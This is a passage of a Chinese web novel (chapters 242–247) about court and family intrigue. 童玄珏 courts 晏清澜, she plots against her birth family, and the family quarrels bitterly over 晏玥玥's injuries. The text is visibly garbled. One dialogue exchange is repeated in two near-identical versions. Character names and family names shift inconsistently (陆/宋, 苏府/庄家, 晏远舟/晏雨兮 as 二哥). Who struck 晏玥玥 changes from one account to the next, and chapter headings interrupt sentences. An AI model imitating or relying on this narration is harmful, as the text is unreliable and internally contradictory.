三人同时一愣,循声望去,只见童玄珏正站在不远处,脸上挂着一抹意味深长的笑容。 尤其是宋明澜,他甚至怀疑自己出现了幻听,一脸错愕地看着童玄珏,下意识地问道: “殿下……您是在叫我?” 童玄珏脸上的笑容更深了,他缓步上前,语气温和: “陆兄不必如此见外,你我一见如故,我便托大,随清澜一同称你为大哥,如何?” 宋明澜愣在原地,一时竟不知该如何回应。 他与童玄珏虽然相识,却并无深交,甚至可以说,他们之间,一直保持着一种微妙的距离。 童玄珏的性情,他也有所耳闻,喜怒无常,阴晴不定,让人难以捉摸。 因此,他实在不明白,童玄珏为何会突然对他如此热情,甚至……主动提出要与他称兄道弟。 “殿下……” 宋明澜斟酌着开口,试图婉拒童玄珏的好意: “殿下厚爱,在下愧不敢当。 第二百四十二章 我与殿下身份悬殊,不敢高攀。” “陆兄何必妄自菲薄?” 童玄珏却像是没有听出他的推辞之意,依旧笑眯眯地说道: “陆家满门忠烈,为国为民,功勋卓著,我一向敬佩不已。今日得见陆兄,更觉相见恨晚。” 他顿了顿,语气中带着几分真诚: “我这人,虽说名声不太好,但向来仰慕英雄,陆兄这样的少年英才,我自然是真心想结交的。” 与其说童玄珏是在对宋明澜表露敬仰,倒不如说,是借此机会,在暗中打量和观察。 他在试探,试探这位被世人交口称赞的少年将军,是否表里如一。 他想看看,这位陆家大公子,究竟是名副其实的英雄,还是……徒有虚名之辈。“陆兄……” 宋明澜刚想开口说些什么,却被童玄珏抢了先。 “陆兄何必过谦?”童玄珏笑意盈盈,那双桃花眼微微上挑,仿佛能勾人心魄。他像是没听出宋明澜的推辞,自顾自地说着,“陆家世代忠良,为国为民,功勋赫赫,我一向敬仰得很。今日得见陆兄,真是相见恨晚。” 他顿了顿,话锋一转,语气里添了几分真诚:“我这人,名声是差了些,可也知道好歹,最是敬佩英雄豪杰。陆兄这般少年英才,我自然是真心想结交的。” 这话说得漂亮,明着是仰慕,实则是试探。 童玄珏在观察。 他在看,这位被众人交口称赞的少年将军,究竟是表里如一,还是……盛名难副。 宋明澜只觉得一阵头疼,忍不住抬手揉了揉眉心。 就算……就算童玄珏说的是真的,可他今年十九,童玄珏却已经过了二十岁…… 这……怎么算? 宋明澜一时语塞。他感觉,自己平白无故多了个比自己年纪还大的……弟弟? 他哪里知道,童玄珏接近他,根本就是“醉翁之意不在酒”。要等到很久以后,童玄珏成了他名正言顺的妹夫,宋明澜才后知后觉地反应过来—— 这厮当初那一声声亲热的“大哥”,根本就是冲着他妹妹去的! 当然,这事儿以后再说。 此刻,童玄珏正大马金刀地坐在浮萍居里,面对晏清澜的“拷问”。 “我早就提醒过你,不要打陆家的主意。”晏清澜微微眯起眼睛,目光像淬了毒的刀子,恨不得在童玄珏身上戳出几个洞来。 她紧紧盯着童玄珏,不放过他脸上任何一丝细微的表情变化,“你莫名其妙靠近我大哥,到底想做什么?” 童玄珏却是不慌不忙,端起手边的茶盏,轻轻吹了吹,慢条斯理地抿了一口,这才抬眸看向晏清澜,唇角勾起一抹玩味的笑: “你大哥少年英雄,名满京城,我自然是心生敬佩,想结交一番。” 晏清澜冷笑一声,声音里满是嘲讽:“童玄珏,你这话,骗鬼呢?” 她顿了顿,语气愈发尖锐:“你当我是傻子不成?” “我看起来像是很好骗的样子?” 她一连串的质问,咄咄逼人。 童玄珏放下茶盏,发出一声轻响。他抬眸,目光深深地望进晏清澜的眼底,语气低沉而意味深长: “清澜,我的目的,你当真不知?” 晏清澜的手指不自觉地蜷缩起来,指甲深深地掐入手心。 她猛地抬头,对上童玄珏那双深不见底的眸子。那张俊美惑人的面容,此刻却让她感到一阵莫名的心慌。 她飞快地移开视线,声音有些发紧:“我若是能未卜先知,岂不早成了活神仙?” 她微微侧过脸,避开童玄珏探究的视线。 “你的心思,比天上的云还难捉摸,我哪有那本事?” 童玄珏静静地凝视着她,像是要看穿她所有的伪装。良久,他忽然轻笑出声,那笑声里,似乎藏着一丝不易察觉的叹息。 “也罢。”他缓缓开口,语气中带着几分无奈,“现在不明白没关系,以后……你总会明白的。” 他知道晏清澜心里跟明镜似的,只是不愿承认罢了。 但没关系,他有的是耐心。 眼下最要紧的,是另一件事。 晏清澜没有接话,只是淡淡地“嗯”了一声,算是回应。 她向来不喜欢把事情放在台面上说,更喜欢暗中布局,掌控全局。 童玄珏的视线在她身上停留片刻,最后落在了窗外,他轻声道:“算算日子,明日便是秋分了,过不了多久,天气就会凉下来,到时候,山上的景色想必更美。我来接你,咱们一道去。” 晏清澜垂下眼帘,鸦羽般的睫毛轻轻颤动,遮住了眼底的情绪。她没有拒绝,只是低低地应了一声。 “时候不早了,你回去吧。”她开口,声音听不出喜怒。 童玄珏深深地看了她一眼,起身,身形一晃,一转眼就溜进屋里。 晏清澜缓缓抬眸,看向童玄珏方才坐过的地方,那个青瓷茶杯还静静地摆在那里,仿佛还残留着他的气息。她微微抿紧了唇,眼神晦暗不明。 “笃笃笃——” 门外传来几声轻叩。 “进来。”晏清澜收回思绪,淡淡开口。 桂柔推门而入,恭敬地站在一旁,禀报道:“主子,探子来报,那邱先生,这几日都歇在了城西的……‘醉月楼’。” 她特意加重了“醉月楼”三个字的语气,眼底闪过一丝鄙夷。 晏清澜闻言,唇角勾起一抹冷笑,眼底闪过一丝寒芒:“‘醉月楼’……好一个‘醉月楼’。” 她缓缓开口,声音冰冷,不带一丝温度:“既然他自己找死,那咱们就成全他。” “让人把消息放出去,搞得越轰动越妙,最好是让全京城的人都知道,这位‘教书育人’的邱先生,背地里是个什么货色。” 大昌虽然民风开放,但对官员的品行要求极严,狎妓更是大忌。 这邱先生平日里一副道貌岸然的模样,背地里却做出这等龌龊之事,一旦曝光,别说前程,只怕连命都难保。 京城里虽然也有“沁芳苑”这样的风雅之地,但那里可不是什么藏污纳垢的地方。 “沁芳苑”里多是些才情出众的女子,她们卖艺不卖身,与文人雅士谈诗论赋,倒也算得上是一段佳话。 而“醉月楼”…… 晏清澜眼底闪过一丝厌恶。 那种地方,简直就是人间炼狱。 “醉月楼”里的女子,大多都是犯了官司的人家,被发卖到那里的,生死不由己。 “让人盯紧了,别让他跑了。”晏清澜的声音冷得像冰碴子,“我要让他身败名裂,永世不得翻身。” 桂柔一向嫉恶如仇,对这种人更是深恶痛绝。不用晏清澜吩咐,她也会把事情办得妥妥当当。 第二百四十三章 “对了,”桂柔又想起一件事,“主子,先前庄家大少爷送来的那些东西,您打算如何处置?” 她指的是之前晏远舟托宋明澜送给晏清澜的那些首饰。 晏清澜冷笑一声,眼中闪过一道精光: “不急,先让这把火烧得再旺一些,等到庄家焦头烂额的时候,再把这些东西,原封不动地还回去。” “不过……”她语气一转,眼中闪过一丝狡黠,“别直接送去给庄家大老爷,让人悄悄地送到二小姐院子里,交给采薇。” 采薇是晏玥玥的贴身丫鬟,平日里仗着主子的宠爱,可没少在晏清澜面前作威作福。 如今,也该是时候让她尝尝苦头了。 桂柔闻言,一向严肃的脸上,竟然也露出了一丝笑容:“主子英明!这招借刀杀人,真是妙极!” “主子放心,奴婢一定把事情办得漂漂亮亮的,绝不会让您失望!”桂柔保证道,语气中带着几分兴奋。 晏清澜微微颔首,端起茶盏,轻轻吹了吹,语气淡然:“庄家这潭水,是时候搅一搅了。” “让他们斗去吧,斗得越狠越好。咱们只管看戏就是。”她轻轻抿了一口茶,神情悠然自得。 她所做的这一切,都是为了让庄家内乱。只有这样,她才能坐收渔翁之利。 她要让庄家的人自相残杀,一步步走向灭亡。 古往今来,多少家族,多少王朝,最终都毁在了内斗上。 所谓“兄弟阋墙,外御其侮”,可若是连自家人都斗得你死我活,又哪里还有力气去抵御外敌呢? 晏清澜抬眸,望向窗外,目光深邃而悠远。 风吹过,竹叶发出沙沙的声响,像是在低声诉说着什么。 她微微眯起眼睛,唇角勾起一抹意味深长的笑容。 好戏,才刚刚开始。苏府,一场闹剧落幕,留下满地疮痍。 屋子里弥漫着浓重的药味,混杂着摔碎的瓷器碎片,气氛沉闷得像暴雨将至的天空。 晏玥玥的脸颊红肿不堪,高高隆起,像两个发面馒头,全然不见平日里的娇俏模样。晏远舟和晏雨珩也好不到哪里去,脸上青一块紫一块,血痕交错,平添了几分狼狈。 钱雅芝觉得自己的心脏仿佛被一只无形的大手狠狠攥住,一阵阵抽痛,让她几乎喘不过气来。 她看着眼前的一切,心疼、愤怒、焦躁……种种情绪交织在一起,像一团乱麻,让她理不出头绪。 大夫来了又走,换了一拨又一拨,总算把几个伤员都安顿好了。 上药的,冷敷的,忙得脚不沾地。 “啪!” 钱雅芝再也忍不住,她猛地一拍桌子,上好的黄花梨木桌面发出沉闷的声响,震得茶盏都跳了起来。 她死死盯着跪在地上的几个儿女,声音嘶哑,带着压抑不住的怒火: “说!这到底是怎么回事?谁干的?!” “光天化日,朗朗乾坤,还有没有王法了?!真当我们庄家是泥捏的不成?!” 晏雨珩低着头,沉默不语。他紧紧抿着唇,下颌紧绷,显示出他内心的挣扎与痛苦。 晏远舟微微侧过脸,避开了钱雅芝的视线,只是轻轻叹了口气。 晏玥玥眼神涣散,泪水无声地滑落。她那张红肿的脸,因为泪水的浸润,显得更加凄惨可怜。 钱雅芝看着女儿这副模样,只觉得自己的心都要碎了。 她弯下腰,小心翼翼地将晏玥玥搂进怀里,动作轻柔得仿佛怕弄疼了她,声音也放得极轻,带着几分颤抖: “玥玥乖,不哭,告诉娘,谁让你受了这份罪?别怕,娘给你做主,一定不会放过他!” 母亲温暖的怀抱,让晏玥玥混沌的思绪渐渐回笼。 她猛地抓住钱雅芝的衣袖,像是抓住了救命稻草,哭声嘶哑,带着浓浓的恨意: “娘……是晏清澜!都是她,都是她害我的!” 她死死咬着下唇,牙齿几乎要嵌进肉里,眼中迸射出两道凶狠的光芒,仿佛要将人生吞活剥: “娘,那个小贱人!我恨不得扒她的皮,抽她的筋!您一定要替我报仇,杀了她!” 这番话,字字泣血,句句带毒,完全不像出自一个平日里娇生惯养的千金小姐之口。 在场众人,包括钱雅芝在内,都被这突如其来的怨毒和狠辣震慑住了,一时竟无人出声。 “玥玥,住口!” 庄家大公子晏景文的声音陡然响起,打破了这令人窒息的沉默。 他大步流星地走进屋内,脸色铁青。 他刚进门,就听见自己一向疼爱的妹妹,正用一种尖利刻薄的嗓音,要求母亲去杀害另一个女儿。 晏景文的眉头紧紧拧成一个疙瘩,他看向晏玥玥,眼神复杂难辨。 晏玥玥那张高肿的脸上,此刻写满了怨毒与杀意,完全没有了平日里天真烂漫的影子。 按理说,见到妹妹伤成这副模样,他应该心疼不已。 然而,此刻,他却感到一阵阵的心寒。 他甚至感觉,面前的晏玥玥,像一个披着人皮的怪物,让他感到陌生和恐惧。 仿佛过去那个纯真善良的妹妹,只是他臆想出来的幻影。 眼前的晏玥玥,撕下了伪装,露出了狰狞的真面目,让他不寒而栗。 晏景文不知道自己为什么会有这种感觉,但这感觉如此强烈,如此真实,让他无法忽视。 一群大佬都在此,只有平日里跟晏玥玥最是亲近的晏子晏不见踪影。 晏玥玥见到晏子晏不在,又听见晏景文不分青红皂白的指责,满腔的委屈与愤怒再也控制不住,彻底爆发出来。 她猛地拔高声音,尖锐的嗓音在房间里回荡,每一个字都像淬了毒的刀子: “她就是个绿茶!怎么,连你也向着她?被她灌了什么迷魂汤?!” 她抬手指着自己的脸,又指了指晏远舟和晏雨珩,声音嘶哑,带着哭腔,几乎要喘不过气来: “瞧瞧我这张脸!再看看二哥和三哥!这都是谁害的?都是那个小贱人!” 她越说越激动,身体剧烈地颤抖着,仿佛随时都会崩溃: “她这样害我,这样害哥哥们,她难道不该千刀万剐吗?!像她这种蛇蝎心肠的女人,就不配活在这个世上!” 晏雨珩微微皱眉,看着情绪完全失控的晏玥玥,他张了张嘴,想解释,想安抚,却又不知道该如何开口。 “玥玥,你先冷静点,听我说……” 晏雨珩叹了口气,试图缓和气氛: “这事……跟四妹没关系,是我和二哥在外面跟人起了冲突,是童玄珏……” 他顿了顿,没有再称呼晏清澜为“四妹”。 那个冷漠无情的女人,不配。 晏雨珩对晏清澜,彻底失望透顶。 第二百四十四章 但,他不想把个人情绪掺杂到这件事里。不是晏清澜做的,就不是她做的。 晏雨珩还没说完,晏玥玥就猛地打断了他,尖叫起来: “你闭嘴!我不听!我不听!” 她捂住耳朵,拼命摇头,泪水像断了线的珠子般滚落: “你就是向着她!你为了她,打我!你还为了她,凶我!” 她猛地抬起头,死死盯着晏雨珩,眼中充满了怨恨和愤怒: “你是不是忘了,你刚刚为了维护那个小贱人,扇了我两巴掌?!你下手那么重,我的脸到现在还疼呢!” 她一边哭,一边控诉,声音嘶哑得几乎听不清: “三哥,你为什么要这么对我?我才是你妹妹啊!你怎么能为了一个外人,这么对我?!” 晏雨珩看着晏玥玥,眼中闪过一丝痛苦和无奈。 他想解释,想告诉她,自己不是故意的,自己只是…… 可是,话到嘴边,却又咽了回去。 他知道,此刻的晏玥玥,根本听不进去任何解释。 钱雅芝的脸色越来越难看,她猛地一拍桌子,厉声喝道: “晏雨珩!你给我闭嘴!” 她指着晏雨珩的鼻子,破口大骂: “你这个不孝子!我怎么生了你这么个东西?胳膊肘往外拐,为了个外人,竟然敢打你妹妹?!” “我告诉你,晏雨珩,你的妹妹只有玥玥一个!你要是再敢为了那个小贱人,欺负玥玥,我就当没你这个儿子!” 她一边骂,一边狠狠地瞪着晏雨珩,眼中充满了失望和愤怒。 晏雨珩看着母亲,看着妹妹,看着哥哥们,只觉得一阵阵的心寒。 他突然觉得,自己在这个家里,像个外人。 他缓缓低下头,不再说话。 晏远舟看着弟弟这副模样,轻轻叹了口气,想要说些什么,却最终还是选择了沉默。 晏景文皱着眉头,看着晏雨珩,语气中带着几分责备: “老三,你这是做什么?跟娘顶嘴,跟妹妹吵架,像什么样子?” 他走到晏雨珩身边,拍了拍他的肩膀,语重心长地说道: “我知道你心里委屈,可玥玥毕竟是你妹妹,你让着她点,哄哄她,不就行了?非要闹成这样吗?” 钱雅芝冷哼一声,没好气地说道: “哄什么哄?他就是被那个小贱人迷了心窍!我看他眼里,根本就没有这个家,没有我们这些亲人!” 晏雨珩始终沉默着,他缓缓抬起头,目光扫过在场的每一个人。 他的眼神,从最初的受伤,渐渐变得冷漠,最后,定格在晏玥玥身上。 他攥紧了拳头,指甲深深嵌入掌心,带来一阵阵刺痛。 他看着晏玥玥,一字一顿地问道: “玥玥,你刚刚……说什么?” 他的声音很轻,很慢,带着一丝压抑不住的颤抖: “你说,我打你,是因为……晏清澜?” 他紧紧盯着晏玥玥的眼睛,一字一句地问道: “你,确定,是这样吗?” 晏玥玥原本就哭得厉害,此刻被晏雨珩这么一问,更是觉得委屈极了,眼泪像决堤的洪水般汹涌而出。 “难道……不是吗?你就是为了她!你就是为了她才打我的!” 她一边哭,一边指责晏雨珩,声音嘶哑,带着浓浓的恨意: “你现在……还要为了她,来凶我吗?!” 钱雅芝见晏雨珩竟然还敢质问晏玥玥,顿时怒火中烧。 她指着晏玥玥,对晏雨珩怒吼道: “你给我听好了,晏雨珩!玥玥说什么,就是什么!你再敢顶嘴,就给我滚出这个家门!” 她转过身,又换上了一副温柔心疼的表情,轻轻擦拭着晏玥玥脸上的泪水: “玥玥乖,不哭了,娘给你做主,谁欺负你,娘就让谁不得好死!”“三弟,你向来最疼玥玥,有什么话不能好好说?非要动手?”晏景文看着晏雨珩,语气中带着责备。 晏雨珩张了张嘴,喉咙却像被什么堵住,一个字也说不出来。 他的目光缓缓扫过屋内的每一个人,最后落在地上那堆碎瓷片上。 阳光照在碎瓷片上,折射出刺眼的光芒,像一把把锋利的刀刃。 “怎么,被我说中了,心虚了?”钱雅芝见晏雨珩不说话,越发恼火,“晏雨珩,你长本事了啊!为了那个小娼妇,你连亲妹妹都打!” 晏雨珩垂下眼眸,心头一阵阵发苦。 晏玥玥一句话,就定了他的罪。 大哥不问青红皂白,开口就是训斥。 母亲更是直接动手,一巴掌扇过来,根本不给他解释的机会。 至于二哥…… 晏雨珩的眼神黯了黯。 晏雨兮分明什么都清楚,却选择了袖手旁观。 而晏玥玥呢? 躲在母亲身后,哭得梨花带雨,仿佛受了天大的委屈。 可谁又在乎,他到底为什么动手? 谁又想知道,事情的真相究竟是什么? 一种难以言喻的疲惫感涌上心头。 晏雨珩觉得,自己就像一个被困在孤岛上的囚徒,四周都是冰冷的海水,看不到一丝希望。 今年的秋天,似乎来得格外早。 明明阳光还很刺眼,他却觉得浑身发冷,一阵阵寒意从骨子里往外冒。 晏雨珩抬起头,看向晏玥玥。 那眼神,让晏玥玥感到陌生,甚至有些害怕。 他突然想起,很多年前,晏玥玥也曾这样哭诉,说晏清澜欺负她。 那时候,他们也是这样,不分是非对错,直接把所有的过错都推到晏清澜身上。 可是,晏清澜真的欺负过晏玥玥吗? 时间太久了,他已经记不清了。 或许,那时候的真相,根本就不重要。 就像现在,他动手的原因,对这些人来说,也根本不重要。 晏雨珩深深地看了晏玥玥一眼,转身离开了房间。 脸上的伤口火辣辣地疼,他却浑然不觉。 身体上的寒冷,已经麻痹了他的痛觉。 回到院子里,小厮阿禄看到他脸上的血痕,吓得声音都变了调: “公子!您的脸……这是怎么弄的?” 边说边慌慌张张地去请大夫。 老大夫仔细检查了伤口,眉头紧锁,不住地摇头: “这伤口……原本将养些时日便无大碍,可现在……” 他没再说下去,但神情凝重,显然情况不太好。 “大夫,您可得想想办法啊!我家公子这脸,万万不能留疤啊!”阿禄急得声音都带了哭腔。 “这要是留了疤,岂不是……岂不是……” 他不敢说出“破相”两个字,急得在原地直跺脚。 晏雨珩的思绪有些飘忽。 他想到了晏清澜手心那道浅浅的疤痕,那是小时候留下的。 他沉默了片刻,声音低沉: “无妨。” “公子……”阿禄还想再劝。 “老夫医术有限,怕是无能为力了。 第二百四十五章 ”老大夫叹了口气,“若能请来‘无影神医’,或许还有转机。” “‘无影神医’?”阿禄愣了愣。 “嗯。”老大夫捋了捋胡须,“不过,‘无影神医’行踪不定,极难寻觅。我倒是听说,京城里新开了一家‘绮云阁’,里头有一种‘瑶芳膏’,对祛疤有奇效,只是……” 他欲言又止。 “只是什么?”阿禄连忙追问。 “只是,那‘瑶芳膏’是女子用的,男子用起来,恐怕……”老大夫摇了摇头,没有再说下去。 晏雨珩听了,只是淡淡地“嗯”了一声。 老大夫又叮嘱了几句,要注意伤口清洁,不能沾水,不能吃辛辣刺激的食物等等。 晏雨珩都一一记下。 老大夫走后,他独自坐在窗前,看着花瓶里盛开的木绣球。 外面的天色越来越暗,乌云密布,一场暴雨即将来临。 “轰隆——” 一声惊雷,震得人心头发颤。 豆大的雨点噼里啪啦地砸下来,打得窗户“啪啪”作响。 “咔嚓——” 院子里传来树枝断裂的声音,不知道是哪棵树遭了殃。 晏雨珩静静地听着,脑海中却浮现出小时候的一幕。 每逢雷雨天,总有一个小小的身影,跌跌撞撞地跑进他的院子。 她浑身湿透,脸色苍白,紧紧地抱着他的胳膊,瑟瑟发抖。 只有看到他,她的眼神才会稍微安定一些。 晏雨珩自嘲地笑了笑。 他原本已经下定决心,不再管晏清澜的事。 可是,今天这一巴掌,却像一记闷棍,敲醒了他。 他开始怀疑,那些年,晏清澜是不是真的受了很多委屈。 他皱着眉头,心中充满了困惑。 从前,哪怕受了委屈,晏清澜也会用亮晶晶的眼睛看着他们。 可为什么,如今她的眼神会变得那样冷漠,那样疏离? 如果说是因为怨恨…… 可从前,她不也一样过来了吗? 为什么现在,她会突然变得如此决绝? 晏雨珩的视线落在窗外。 暴雨倾盆而下,木绣球花被打得七零八落,洁白的花瓣散落一地,渐渐被泥水吞噬。 他心中一动,思绪回到了现实。 今天在绮云阁发生的一切,像电影画面一样在他脑海中闪过。 他想起晏清澜冷漠的表情,想起宋明澜坚定的维护…… 晏雨珩的嘴角泛起一抹苦涩的笑意。 他好像明白了一些事情。 宋明澜…… 这个名字,像一根刺,扎在他的心头。 有了宋明澜这个兄长做对比,晏清澜才终于看清了,从前她在苏府,究竟过的是什么样的日子。 宋明澜对她越好,就越能衬托出,他们这些所谓的亲人,从前是多么的冷漠,多么的自私。 原来是这样…… 晏雨珩觉得,笼罩在心头的迷雾,终于被拨开了一角。 另一边,晏玥玥正依偎在钱雅芝怀里,哭得泣不成声。 晏雨珩的沉默和离开,让她感到既愤怒又委屈。 在她看来,晏雨珩就是因为晏清澜,才对她不闻不问,拂袖而去。 “娘,您说,四姐为何突然现身?”晏玥玥抽抽噎噎地说,“她一回来,咱们家就没过过一天安生日子!先是四哥,现在连三哥也……也被她勾了魂儿!” “娘,您看看我的脸!她今天差点……差点就掐死我了!” 晏玥玥的声音里带着哭腔,委屈极了。 她开始埋怨钱雅芝。 当初为了不让她嫁给不学无术的江小侯爷,钱雅芝让人给晏清澜的养父母递了信,说要接她回来。 结果呢,晏清澜是被接回来了。 可皇上根本没有赐婚! 就是一个随口戏言,为敲打庄家! 晏玥玥觉得,钱雅芝和晏明远,为了所谓的家族利益,病急乱投医,把晏清澜这个祸害接了回来,如今麻烦不断。 “娘,您当初就应该把事情弄清楚了再做决定……”晏玥玥忍不住抱怨道。 “闭嘴!”钱雅芝厉声喝道,“你懂什么?妇人之仁!若不接她回来,难道真让你嫁给那个废物?” 钱雅芝眼中闪过一丝狠厉。 望见幺女面上的疤痕,她恨不得将晏清澜碎尸万段。钱雅芝只觉得胸口发紧,像是被人狠狠扼住了喉咙,连呼吸都变得困难。 她做梦都想不到,当初没能除掉晏清澜,竟成了如今最大的心腹大患。 这哪里是接回来个女儿,分明是引狼入室,养虎为患!如今这白眼狼的爪牙,已经毫不留情地伸向了她! 晏景文看着晏玥玥脸上的伤痕,心疼得直抽抽。 搁在往常,他恐怕早就火冒三丈,把晏清澜骂得体无完肤了。 可这些日子,他也长了些记性,遇事不再那么冲动。 “这到底是怎么一回事?” 晏景文压着嗓子,声音低沉得可怕。 “她好端端的,怎么会下这么重的手?” 话虽如此,可在他心里,还是认定晏清澜不对。 就算晏玥玥有错,你当姐姐的,就不能让着点? 晏玥玥却因为疑心,听岔了话。此时正在气头上,晏景文的话,在她听来就是责备,仿佛在说她也有错。 委屈像潮水般涌来,晏玥玥哭得更厉害了。 晏景文一头雾水,不明白好端端的,妹妹又哭什么。 晏远舟站在一旁,眉宇间闪过一丝不耐。 他只觉得晏玥玥实在太能作,一点小事就哭个没完,矫情得很。 钱雅芝却以为晏玥玥受了莫大的委屈。 她心中的怒火,再也压抑不住,噌地一下就蹿了起来。 钱雅芝扶着晏玥玥坐好,猛地站起身,脸色铁青。 “我马上就去堵她!” 她咬牙切齿,声音里充满了恨意。 “我倒要看看,她能翻出什么天来!” “敢打我的玥玥,真当我是个摆设不成?” 原本,她应该立刻去找晏清澜算账,再把晏远舟脸上的伤一并讨回来。 可晏雨珩先前的解释,又突然浮现在她脑海。 晏雨珩说,他和晏远舟的伤,都是拜童玄珏所赐。 之前她满心都是晏玥玥,根本没心思听晏雨珩说什么。 可现在,这句话却像一根刺,扎在了她心里。 钱雅芝猛地转过身。 晏远舟见状,脸色微微一变: “母亲……” 钱雅芝盯着他,眉头紧锁,脸色阴沉得能滴出水来: “怎么,阿远,你莫不是要替那个小贱人求情?” 几个儿子里,晏远舟向来是最懂事、最让她放心的。 如果连他都站到晏清澜那边去,那她…… 钱雅芝简直不敢往下想。 晏远舟连忙摇头。 他看了一眼哭得上气不接下气的晏玥玥,犹豫了一下,才开口: “母亲,咱们能不能……换个地方说话?” 他这话说得小心翼翼,生怕再刺激到晏玥玥。 第二百四十六章 可偏偏就是这“换个地方”,让晏玥玥本就脆弱的神经,彻底崩断了。 “二哥!” 晏玥玥猛地抬起头,泪眼婆娑地瞪着晏远舟,声音嘶哑: “你有什么见不得人的话,非要背着我说?” “怎么,你现在也觉得,我比不上晏清澜那个贱人了吗?” 她越说越激动,冷笑一声,眼神里充满了怨毒: “哦,我倒是忘了,我这脸上的巴掌印,可都是拜你所赐!” “二哥,你可真是我的好二哥啊!” 这番话,让钱雅芝的脸色也变了。 晏雨珩那个混账东西,为了晏清澜打玥玥,她倒还信。 可晏远舟……这其中,定然另有隐情! 钱雅芝顾不上再去找晏清澜算账,她强压下心头的怒火,在晏玥玥床边坐下: “阿远,你把话说清楚,这到底是怎么回事?” 晏远舟不敢隐瞒,便将雅韵坊中发生的一切,从头到尾说了一遍。 钱雅芝越听,脸色越是难看。 听到最后,她只觉得手脚冰凉。 “你是说,你和云衍身上的伤,都是童玄珏动的手?” 钱雅芝的声音,微微有些颤抖。 晏远舟缓缓点头,脸色阴沉得可怕。 钱雅芝的脸色变了又变。 事情的发展,完全超出了她的预料。 她万万没想到,晏清澜竟然会和童玄珏扯上关系。 原本,她是想过要把晏清澜嫁给童玄珏。 可她的打算,是借童玄珏的手除掉晏清澜,然后借机向澜王府发难,同时打压碧霄楼。 但如果,童玄珏对晏清澜动了真心,那一切可就全完了。 童玄珏那个人,可不是个善茬。万一晏清澜真成了燕王妃,以她对庄家的恨意,庄家以后别想安生? 别说晏玥玥的皇后梦,只怕连韩承煜的燕王之位,都要岌岌可危。 钱雅芝只觉得一阵头晕目眩,心乱如麻。 相比之下,晏远舟则更加忧心忡忡。 他隐隐觉得,庄家和晏清澜之间,或许还有一线转机。 可晏清澜的心思,实在太难猜了。 从归朝宴上第一眼见到晏清澜起,晏远舟就明白,这个人绝不简单。 如今出了这么多事,只会让局面更加复杂。 更别提,晏清澜手里,似乎还握着钱雅芝的什么把柄。 这盘棋,究竟该如何落子? 晏远舟感到前所未有的迷茫。 而晏玥玥,对他们的担忧一无所知。 她看着钱雅芝犹豫不决的样子,彻底失去了理智。 晏玥玥猛地推搡着钱雅芝的胳膊,哭得声嘶力竭: “娘!你还在等什么?” “晏清澜把我打成这样,这事能就这么完吗?” “你不是说,你会保护我的吗?现在呢?” “你们一群戏精!都是骗子!” 钱雅芝心疼地替她擦着眼泪。 晏远舟却再也忍不住了。 他用力地揉着眉心,只觉得一阵阵的烦躁。 从前,他愿意宠着晏玥玥,不过是看在她还有些用处。 再加上父母都希望他对晏玥玥好,他也就乐得做个好哥哥。 平时晏玥玥使些小性子,他也就睁一只眼闭一只眼,都随她去了。 但这一切,都是建立在晏玥玥没有威胁到他利益的前提下。 如今,他自己的前程都岌岌可危,晏玥玥却还只顾着自己的委屈,只想着让晏清澜死。 晏远舟实在是不想再纵容她了。 他深吸一口气,努力让自己的声音听起来平静一些: “玥玥,不是不帮你报仇,但现在还不到动手的时机。” “你听话,别再闹了,好不好?” “再忍一忍,就一会儿……” 可晏玥玥根本听不进去。 在她看来,这些都是借口,都是晏远舟为了包庇晏清澜找的借口! “你骗我!你们全都在耍我!” 晏玥玥哭得泣不成声,她猛地推开晏远舟: “你们就是偏心!就是觉得晏清澜比我好!” “你们就是看她搭上了将军府,所以就不要我了!” “说什么最疼我,都是在放烟雾弹!” “你们一群戏精!我讨厌你们!” 晏玥玥彻底崩溃了。 她看着晏远舟的眼神,充满了怨恨和厌恶。 甚至,连带着看向钱雅芝的目光,也多了几分不满。 钱雅芝看着小女儿这副模样,心如刀绞。 晏玥玥却不管不顾,只顾着发泄心中的怒火。 她发起脾气来,和钱雅芝简直如出一辙。 摔东西,砸杯子,只要是她能够到的,都被她砸了个稀巴烂。 她死死地盯着晏远舟,回想被他扇的两个大嘴巴,心中的怒火再也无法抑制。 晏玥玥猛地抓起一个茶杯,朝着晏远舟的额头狠狠砸去。 晏远舟猝不及防,被砸了个正着。 殷红的血,顺着他的额头,缓缓流淌下来。晏玥玥如遭雷击。 她忘了哭,眼眶红肿,像两颗熟透的核桃,死死盯着盛怒之下的钱雅芝。方才被扇过耳光的地方,火辣辣地疼,可她却像感觉不到似的,只是怔怔地望着。 她这副模样,活像一只被主人遗弃在路边,却还眼巴巴地望着家门,期待主人归来的小狗。 “娘,连你……难道你也要抛下我?” 嗓音嘶哑得像是被烈日炙烤了数日的旅人,干涩、颤抖。平日里,她最是娇气,眼泪说来就来,可这会儿,却硬生生将泪意逼了回去,只留一双通红的眼,写满了无助与茫然。 钱雅芝到底还是心软了。 她清楚,晏玥玥这般任性妄为,都是自己平日里骄纵太过。可到底还是个孩子。 长叹一声,钱雅芝俯下身,用指腹轻轻揉了揉晏玥玥红肿的眼睛,又心疼地摸了摸她被自己扇过的脸颊,声音也软了下来: “我的傻玥玥,母亲岂会抛弃你?你可是娘身上掉下来的一块肉,说这话,不是往娘心口上捅刀子吗?” 语气一变,又带上了责备: “可你也太不知轻重了!你二哥平日里对你如何,你心里没数?竟拿杯子砸他,万一伤着了,你让娘怎么跟你二哥交代!” 晏玥玥鼻尖一酸,委屈瞬间涌上心头。 她觉得自己没错,明明是晏远舟有错在先。 可如今,连一向疼爱她的钱雅芝,也动了手! 心底深处,一股莫名的恐慌如潮水般蔓延开来。晏玥玥明白,此刻若再耍性子,怕是真的要失去什么了。 她咬了咬下唇,终是低下了头,选择了认错。 她从妆奁里取出一瓶凝雪膏,递给晏远舟,声音细若蚊蝇,带着些许不情愿: “二哥,这是凝雪膏,你擦上,好得快些……我,我下次不敢了。” 晏远舟没有接,只是冷冷地看着她。 那凝雪膏,散发着淡淡的药香,却无法驱散他心头的寒意。他只是冷漠地扫过地上四分五裂的瓷片,转身离开,没有一丝留恋。 第二百四十七章 晏玥玥彻底慌了神,无助地望向钱雅芝,声音里已带了哭腔: “娘……我认错了,可二哥他不肯原谅我……” 视线又落在了一直沉默不语的晏景文身上,她带着哭腔小声地问: “大哥……二哥是不是还在生我的气?你……你能不能帮我去劝劝他?” 晏景文依旧没有回应,只是眉头紧锁,脸色阴晴不定,不知在想些什么。 晏玥玥再也忍不住了,猛地扑过去,死死抓住晏景文的手腕,带着哭腔哀求: “大哥,你别不理我,我害怕……” 晏景文这才猛然惊醒,像是从一场混沌的梦境中挣脱出来。 方才,他满脑子都在盘算着如何应对可能到来的危机,一时没有顾得上这边。 